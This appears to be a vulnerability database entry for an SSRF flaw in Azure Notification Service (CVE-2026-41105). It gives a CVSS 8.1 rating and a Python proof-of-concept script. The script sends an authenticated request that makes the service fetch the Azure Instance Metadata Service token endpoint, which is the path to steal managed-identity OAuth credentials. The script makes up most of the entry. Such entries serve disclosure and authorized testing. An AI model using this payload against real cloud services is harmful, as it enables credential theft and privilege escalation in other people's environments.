Server-side request forgery (ssrf) in Azure Notification Service allows an authorized attacker to elevate privileges over a network.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Azure Notification Service (具体版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# PoC for CVE-2026-41105: Azure Notification Service SSRF
# This script demonstrates a conceptual SSRF attack.
def trigger_ssrf(target_endpoint, internal_url):
"""
Sends a malicious request to the target service to force it to visit an internal URL.
"""
headers = {
"Content-Type": "application/json",
"Authorization": "Bearer <VALID_TOKEN>" # PR:L requires valid auth
}
# Payload simulating a notification callback to an internal resource
payload = {
"notification_url": internal_url,
"message": "Test"
}
try:
print(f"[*] Attempting to send request to {target_endpoint}...")
response = requests.post(target_endpoint, json=payload, headers=headers, timeout=5)
if response.status_code == 200:
print("[+] Request sent successfully. Check if internal resource was accessed.")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Server returned status code: {response.status_code}")
print(f"Response: {response.text}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Target URL (Placeholder)
TARGET = "https://<azure-notification-service-endpoint>/api/v1/notify"
# Internal URL to access (e.g., Azure Instance Metadata Service)
# Accessing this may retrieve IAM credentials, leading to Privilege Escalation
INTERNAL_PAYLOAD = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
trigger_ssrf(TARGET, INTERNAL_PAYLOAD)